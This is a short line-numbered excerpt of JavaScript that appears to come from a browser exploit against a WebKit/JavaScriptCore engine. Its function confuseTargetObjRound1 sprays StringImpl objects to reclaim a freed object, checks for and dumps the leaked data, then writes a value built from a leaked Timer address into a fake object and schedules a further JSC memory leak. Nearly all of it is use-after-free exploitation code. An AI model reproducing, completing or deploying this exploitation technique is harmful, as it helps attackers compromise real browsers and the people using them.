()
| 293 | * and before deleteBubbleTree |
| 294 | */ |
| 295 | function confuseTargetObjRound1() { |
| 296 | /* Force allocation of StringImpl obj. beyond Timer address */ |
| 297 | sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2); |
| 298 | |
| 299 | /* Checking for leaked data */ |
| 300 | if (findTargetObj() === false) |
| 301 | die("[!] Failed to reuse target obj."); |
| 302 | |
| 303 | dumpTargetObj(); |
| 304 | |
| 305 | g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble(); |
| 306 | |
| 307 | /* |
| 308 | * The timeout must be > 5s because deleteBubbleTree is scheduled to run in |
| 309 | * the next 5s |
| 310 | */ |
| 311 | setTimeout(leakJSC, 6000); |
| 312 | } |
| 313 | |
| 314 | function handle2() { |
| 315 | /* focus elsewhere */ |
nothing calls this directly
no test coverage detected